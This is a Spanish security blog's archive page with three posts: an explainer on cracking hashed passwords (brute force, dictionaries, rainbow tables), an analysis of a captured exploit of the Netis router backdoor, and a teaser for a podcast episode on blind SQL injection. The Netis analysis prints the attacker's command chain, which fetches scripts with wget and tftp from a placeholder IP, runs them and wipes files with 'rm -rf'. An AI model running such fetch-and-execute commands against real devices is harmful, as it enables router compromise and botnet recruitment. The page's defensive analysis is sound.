Archivo de la categoría: Ataques

Podcast – 38 – Ataques a contraseñas hasheadas

Fuente imagen: Sifi Feefer

Recientemente recibí un correo electrónico de un proveedor avisándome de que debido a un acceso no autorizado a sus servidores un atacante se había hecho con la información de mi usuario y su correspondiente contraseña hasheada. En ese mismo correo aseguraban que la contraseña estaba protegida por la función de hash por lo que el atacante no podía descubrirla, pero aún así me obligaban a cambiarla… ¿No es esto una incongruencia? ¿Si está a salvo por qué me obligan a cambiarla?

Dejando de lado el dicho de que ‘más vale prevenir que curar’, la verdad es que una contraseña bien hasheada está bien protegida, pero no perfectamente protegida… y los crackers tienen técnicas para realizar ataques a contraseñas hasheadas y averiguarlas. Veamos las tres principales.

Aunque hablé más a fondo sobre cómo almacenar contraseñas de forma segura en el capítulo 11, podemos resumir la operativa de almacenamiento sería aplicar una función hash sobre la contraseña recibida y almacenar únicamente el resultado de la función hash. NUNCA deberíamos guardar la contraseña sino únicamente el resultado de la función hash. Sabemos que una función hash es un sistema de un solo sentido de tal forma que una misma cadena de entrada siempre devuelva el mismo resultado, pero que sea “computacionalmente imposible” obtener la cadena de entrada (es decir, la contraseña) teniendo únicamente la salida.

Ataques a contraseñas hasheadas

  1. La primera opción sería un ataque de fuerza bruta para conseguir encontrar qué contraseña genera un hash como el obtenido. Así el atacante tan sólo debe probar todas y cada una de las posibles combinaciones de caracteres para ver si el resultado de aplicarle una función hash es igual al de nuestra contraseña. Como entenderás se trata de un proceso que requiere de una capacidad de computación importante, sobre todo si usamos contraseñas largas e incluimos caracteres no alfanuméricos. Aunque es un proceso que con el tiempo será efectivo (en algún momento probará nuestra contraseña) no es muy eficiente en tiempo (pueden pasar años o siglos para localizar una password compleja), por lo que no es muy común su uso (salvo que sepamos a ciencia cierta que la contraseña es corta).
  2. Otra opción es aplicar la función de hash a un grupo concreto de contraseñas que tengamos almacenadas y ver si alguna coincide con el hash que queremos descubrir. Se suele denominar diccionario al listado de claves que queremos comprobar. Existen multitud de diccionarios con las contraseñas más utilizadas; combinaciones de palabras y números comunes; expresiones de uso común en casi cualquier idioma; etc… con lo que se puede sacar una lista de contraseñas probables. Entonces se cogen todas estas claves posibles (los listados puedes ser miles o millones de combinaciones) y se aplica la función de hash a cada una de ellas comparándola con la de la contraseña que queremos romper. Los ataques de diccionario son muy útiles cuando el atacante ha conseguido un gran listado de hashes sobre los que comparar. Pensad en las noticias de filtraciones de grandes empresas con miles o millones de usuarios: es muy probable que dentro de esos millones de usuarios haya centenares o miles de ellos que utilicen como contraseña una de las incluidas dentro del diccionario inicial. Así pues, los ataques de diccionarios son un sistema eficiente de encontrar alguna contraseña en un listado grande de víctimas, aunque no tanto cuando se busca una contraseña en concreto (aunque cómo son rápidos de ejecutar, es probablemente el primero que un atacante intente).
  3. La tercera estrategia que se encuentra en un punto intermedio, computacionalmente hablando, entre las dos anteriores los las denominadas rainbow table (aunque en español se llamarían «tablas arcoíris«, la verdad es que nunca las he oído llamar así). Se trata de tablas de hash precompiladas, específicas para cada protocolo, que relacionan distintas contraseñas con sus correspondientes hashes, aunque la relación no es uno-uno como sería el caso de los ataques por diccionario, sino que incluyen una serie de pasos intermedios que no son almacenados pero que son accesibles con los datos de la tabla. Así tenemos un sistema que implica una mayor necesidad de computación que los ataques de diccionario, pero muchísimo menos espacio de almacenamiento. A grandes rasgos podemos decir que una rainbow table aplica dos funciones (la de hash y otra denominada de reducción) varias veces de tal forma que el resultado de una función sirve como entrada de la siguiente ronda. Finalmente, tras las rondas correspondientes se almacena únicamente la entrada inicial y el resultado final, pero no los resultados intermedios. En el momento de querer sacar una contraseña se aplican las funciones de hash y reducción según el algoritmo de la tabla de reducción, permitiendo la detección de la contraseña correcta no sólo por las dos columnas almacenadas, sino también por los resultados intermedios que son calculados al vuelo. El procedimiento y las funciones utilizadas dependen de cada ‘tabla arcoíris’.

Como ves, los atacantes tienen estrategias para conseguir sacar la contraseña real del hash obtenido, y es por ello que las empresas afectadas por este tipo de filtraciones solicitan, u obligan, a sus usuarios a cambiar su contraseña de acceso: porque el atacante no tiene ahora mismo la contraseña pero puede llegar a tenerla (sobre todo si usamos claves cortas o que usen palabras/combinaciones comunes).

Análisis del intento de explotación de puerta trasera en router Netis

Router NetisEn 2014 se descubrió una puerta trasera en los routers de marca Netis que permitía el acceso desde su interfaz WAN (normalmente accesible desde Internet).

Hace una semanas llegó un ataque de explotación de esta puerta trasera, así que vamos a analizarlo en esta entrada. Obviamente se trataba de un ataque automatizado ya que recorrió una a una las direcciones IP públicas y no tengo ningún router Netis.

Como entenderéis he modificado el payload y las direcciones IP para evitar que alguien pueda hacer un mal uso 😉 Indicar igualmente que el ataque fue el sábado noche y cuando el lunes lo intenté analizar resultó que la IP ya no contenía los archivos indicados en la instrucción, así que no pude analizarlos. Como curiosidad indicar que la IP a la que se hacía referencia estaba ubicada en Brooklyn (Nueva York, USA).

En la captura inferior podemos ver que la petición, en formato HTML, consta de una carga previa de información (esta cadena ya está modificada) para posteriormente indicar las acciones que debe realizar el router (sección en lila).
Ataque Netis I

Sabemos que estos routers utilizan un sistema operativo Linux de base, así que revisemos las instrucciones (marcadas en lila) con un formato limpio (sin los caracteres de codificación HTML).

Ataque Netis II

Instrucciones del atacante

Ahora que ya tenemos un formato más legible, recordando que en los sistemas Linux el símbolo punto y coma (;) permite separar instrucciones que se ejecutarán una detrás de otra veamos qué peticiones hace el atacante al router Netis:

  1. wget http://10.10.10.10/akc.sh
  2. sh akc.sh
  3. rm -rf ack.sh
  4. tftp -r nfz.sh -g 10.10.10.10
  5. sh nfz.sh
  6. tftp 10.10.10.10 -c get nig.sh
  7. sh nig.sh
  8. rm -rf nfz.sh nig.sh akc.sh
  9. rm -rf *

Como vemos el primer paso (1) es descargarse el fichero «akc.sh» desde un servidor externo mediante protocolo HTTP para después ejecutarlo (2) y borrar dicho archivo (3).

Posteriormente podemos ver como se descarga mediante tftp (4 y 6) y ejecuta dichos archivos (5 y 7). Es curioso ver cómo utiliza dos formatos de instrucción diferentes para bajarse los archivos. Igualmente resulta curioso que la descarga del primer archivo sea mediante el comando wget mientras que los siguientes se realicen mediante TFTP.

Una vez termina la ejecución elimina los tres archivos descargados (8), aunque se supone que akc.sh ya lo había borrado antes (3).

Finalmente borra todos los archivos que haya en la ubicación (9) y sus directorios eliminando cualquier archivo temporal que se haya podido crear y borrando totalmente sus huellas.

Análisis del ataque

Atacando un router

Atacando un router.
Fuente imagen: We Live Security

Lamentablemente no pude hacerme con los scripts que se descargaba para analizarlos y ver qué hacían realmente, por lo que el análisis no puede ser más profundo y me tendré que conformar con las acciones indicadas en la propia URL.

El hecho de que utilice el comando wget para la primera descarga mientras que utilice tftp puede llevarnos a pensar que el primer script (akc.sh) realice la instalación del cliente tftp en el sistema. ¿Por qué sería preferible usar TFPT para el atacante para los siguientes scripts? Lo más probable es que la dirección IP desde donde se descargaba los scripts fuera un servidor web previamente infectado por lo que reduciendo el número de peticiones HTTP se reducen las trazas en los logs del servidor web que puedan descubrir la infección. Así que podría tratarse de un método para prolongar al máximo el uso de dicho servidor infectado.

Igualmente resulta extraño el uso de dos instrucciones diferentes (4 y 6) para descargar los scripts, lo cual nos llevaría a pensar que se ha reutilizado parte del código de otro script ya confeccionado previamente.

Cabe indicar que el orden de borrado de los scripts descargados es igualmente interesante: se preocupa de eliminar el primero de forma inmediata (3) mientras que los otros dos los deja para el final (8) e incluso lanza un borrado general del directorio (9). El hecho de que en la segunda instrucción de borrado (8) aparezca nuevamente el script akc.sh podría ser bien un fallo de diseño o bien un método para asegurarse el borrado de dicho script. Si pensamos que el atacante quiere asegurarse el borrado del script akc.sh debemos deducir que en dicho script se encuentra información que quiere asegurarse su eliminación (¿algún nombre de usuario o  contraseña?).

Al no haber podido analizar los scripts que se descargaba no podemos ver qué acción realizaba el router (¿unirse a una botnet?¿crear otra puerta trasera controlada por el atacante?¿propagar el ataque desde el propio equipo?), si bien queda claro por la última instrucción de borrado completo del directorio (9) que dichos scripts y cualquier fichero temporal creado no son necesarios una vez ha terminado el ataque.

¿Qué creéis que pueden ser estos script?

Podcast – 18 – Inyección SQL a ciegas

En el capítulo de hoy hablaremos sobre los ataques por inyección SQL a ciegas: aquellas donde la base de datos no devuelve la información solicitada en el ataque.

Micro con feed

Fuente imagen:PerfectYourPodcast

Al contrario que en el capítulo anterior sobre inyecciones SQL, donde el atacante obtenía la información solicitada desde la propia base de datos, en este capítulo veremos cómo sacar información de una aplicación simplemente viendo la diferencia de comportamiento cuando el resultado de nuestra consulta es falso o verdadero.

Como en casi todos los capítulos, tras la explicación del ataque y sus características indicamos las posibles defensas tanto para bloquearlos como para minimizar sus efectos. En este caso cabe destacar cómo podemos evitar la automatización de los ataques por inyecciones SQL a ciegas de forma simple en todas nuestras aplicación web.

Descarga directa.